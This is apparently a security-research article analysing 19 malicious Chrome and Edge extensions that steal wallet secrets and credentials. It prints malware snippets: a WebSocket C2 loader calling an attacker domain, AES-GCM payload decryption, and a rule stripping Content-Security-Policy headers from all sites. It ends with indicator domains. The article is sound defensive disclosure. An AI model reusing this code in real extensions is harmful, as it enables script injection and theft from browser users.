19 Chrome and Edge Extensions Deliver a Wallet Drainer and Credential-Stealing Payloads

Summary

Socket researchers identified 19 malicious browser extensions (18 Chrome, 1 Edge) deployed over six months as part of the "Superior" campaign dating back to February 2024. The extensions employ sophisticated techniques including CSP stripping, XSS injection, and WebSocket C2 communication to deliver modular payloads focused on cryptocurrency wallet theft, credential harvesting, and session hijacking. The threat actors acquire legitimate extensions with established user bases—notably "Enable Right Click & Copy" with ~80,000 combined users across Chrome and Edge—then weaponize them with malicious functionality while leveraging browser auto-update mechanisms for maximum impact.

Full text

Back[Research][Security News]19 Chrome and Edge Extensions Deliver a Wallet Drainer and Credential-Stealing PayloadsSocket researchers found 18 Chrome extensions and one Edge extension delivering a wallet drainer, credential theft, and other malicious payloads.Karlo ZankiAug 27, 2026|10 min readSocket identified 19 malicious extensions published in the last six months, delivering an extendable malware framework. Identified malware samples create WebSocket communication channel with command and control (C2) server, perform CSP stripping and abuse XSS injection to trigger execution of malicious payloads previously downloaded from the C2 server. Malicious capabilities are primarily focused on, but not limited to, wallet secret stealing and crypto draining. The most impactful tactic is acquisition of established extensions offered for sale with an existing user base, which then get weaponized with malicious functionality.The Socket Threat Research team identified 18 Chrome extensions and 1 Edge extension sharing similarities in malicious code and malware operation techniques. The malicious versions of identified extensions were published in the last six months, but code and technique similarities reveal a connection to a campaign initially reported by DomainTools, dating back to February 2024. Malware from this campaign has previously also been described in a research investigation conducted by Secure Annex.All of identified extensions implement the same publishing approach. The first version implements the advertised functionality and is clean of malware. Later, when a base trust is established, a new version is published, introducing the malicious behavior. Identified extensions can be separated into 14 threat actor created extensions and 5 extensions bought from legitimate authors. They implement different utility tools: SEO stats checkers, crypto price monitors, screen search utilities, and ad spying tools.The “Enable Right Click & Copy — Smart Unlock + OCR“ extension has the largest potential impact. It was initially developed by a legitimate organization, PreppHint, before eventually being acquired by the threat actor. At the time when the malicious functionality was introduced, the extension had around 70,000 users. While that does not necessarily mean all of the users had the malicious version installed, it still represents a significant exposure surface. This is especially true given that the Chrome extension update settings default to auto-updating to the latest version of the extension at startup and periodically every few hours. Combined with the Edge version of the extension, which contains the same malware and has around 10,000 users, this extension has a potential impact surface of 80,000 users.At the moment of writing, the Chrome extension was already identified as malicious and removed from the Chrome Web Store, but the Edge version of the extension is still active and serving malware. The finding has been reported to the Edge extension store. Initially both Chrome and Edge versions of the extension used the same C2 domain, but after the Chrome extension got identified as malware, a new version of the Edge extension was published with an updated C2 domain on August 14th, 2026.Shared Code Patterns & Techniques#All of the identified extensions use similar code execution techniques and contain recognizable code patterns. While this C2 communication and code execution framework is shared across all the extensions, the pluggable design indicates that the final payload is highly modifiable and likely changes over the time. But the ultimate targets and motivation most likely remain the same - wallet secret stealing and crypto draining.All of the malicious code extensions follow the same design patterns and they are easily recognizable in code across different extensions.Covert Communication Channel#The background service worker uses a consistent data structure for managing C2 communication and job orchestration. It stores information about userId, connection and execution timings and downloaded code modules (nodes) using the dedicated Chrome extension local storage API (chrome.storage).JavaScriptvar S = () => e.storage.local, C = async e => (await S().get(e))[e], w = (e, t) => S().set({ [e]: t }), T = { userId: `user-identifier`, installed: `deployed`, lastActive: `latest-interaction`, activityTimeout: `inactivity-limit`, nodes: `nodes`, welcomeShown: `welcome-shown`, analyticsConsent: `analytics-consent` }, E = new TextEncoder, D = new TextDecoder, O = 12; async function k () { let e = await C(T.userId); if (e) return e; let t = crypto.randomUUID(); return await w(T.userId, t), t }The background service worker establishes a communication channel to the C2 server. The latest malware versions build and maintain a persistent WebSocket connection, with 5-minute heartbeat interval, while all errors are silently swallowed. Worth noting is that the loading framework supports rotation of the C2 endpoint based on instructions received from the initial C2 server and this behavior has been observed in the wild. That functionality enables threat actors to distribute victims to different groups and dedicated C2 infrastructure and to reduce the detection risk. Data exfiltration endpoint is also dynamically received from the C2 instructions enabling a per-victim exfiltration channel.JavaScriptvar G = async () => { let t = { // default configuration // different C2 endpoints are used in each extension // but the 'uuid' and 'extension' query parameters remain identical accross the campaign endpoint: `wss:///api[.]active-enable-right-click[.]top/?uuid=${await k()}&extension=${e.runtime.id}`, timings: { ping: 25e3 } }, n = await C(T.nodes); if (n) try { // use configuration retrieved from C2 and stored in local storage if present let e = await N(n); if (e?.endpoint) return { endpoint: e.endpoint, timings: { ping: e.timings?.ping || 25e3, report: e.timings?.report } } } catch {} return t }, K = { creating: !1, intervalStarted: !1 }, he = () => { // default 5-min hartbeat interval K.intervalStarted || (K.intervalStarted = !0, setInterval(() => q().catch(() => {}), 3e5)) }Incoming WebSocket messages deliver malicious modules in form of JavaScript snippets that get encrypted and stored in the nodes Chrome local storage key. The communication is encrypted with AES-GCM using a key derived from SHA-256 hash of the extensionId and installUUID.JavaScriptvar A = null; async function j () { if (A) return A; let t = `${e.runtime.id}-${await k()}`, //function k() returns installUUID n = await crypto.subtle.digest(`SHA-256`, E.encode(t)); return A = await crypto.subtle.importKey(`raw`, n, { name: `AES-GCM` }, !1, [`encrypt`, `decrypt`]), A }Content Security Policy (CSP) Stripping#The Content Security Policy (CSP) header tells the browser which dynamic resources, scripts, and domains are trusted and allowed to execute, acting as a primary defense against cross-site scripting (XSS) and data injection. On startup the background service worker registers a dynamic declarativeNetRequest browser rule that strips Content-Security-Policy headers from every page, all frames, and on every site the user visits. CSP stripping is necessary to enable the injection technique used to include malicious JavaScript code modules on targeted websites.JavaScriptvar n = !1, r = e => e, i = () => ({ id: 1, priority: 1, condition: { urlFilter: `*`, resourceTypes: r([`xmlhttprequest`, `main_frame`, `sub_frame`]) }, action: { type: `modifyHeaders`, responseHeaders: [{ operation: `remove`, header: `content-security-policy` }, { operation: `remove`, header: `content-security-policy-report-only` }, { operation: `remove`, header: `x-webkit-csp` }, { operation: `remove`, header: `x-content-security-policy` }] } }), a = async () => { try { (await e.declarativeNetRequest.getDynamicRules()).some(e => e.id === 1) || await e .declarativeNetRequest.updateDynamicRules({ addRules: [i()], removeRuleIds: [] }) } cat

Indicators of Compromise

• domain — active-enable-right-click.top
• domain — api.enable-right-click.click
• domain — cookie-whitelist.top
• domain — whale-alert.art
• domain — ggle-analytics.com
• domain — payload.siteinsight.bond
• domain — enable-right-click.click
• domain — password-protect-pdf.com
• domain — privatecryptonewsreader.pro
• domain — defipulsetracker.pro
• domain — blockfolioaddressmonitor.pro
• domain — pipi.saghirmohamed19.workers.dev
• domain — mimi.saghirmohamed19.workers.dev
• malware — Superior

Entities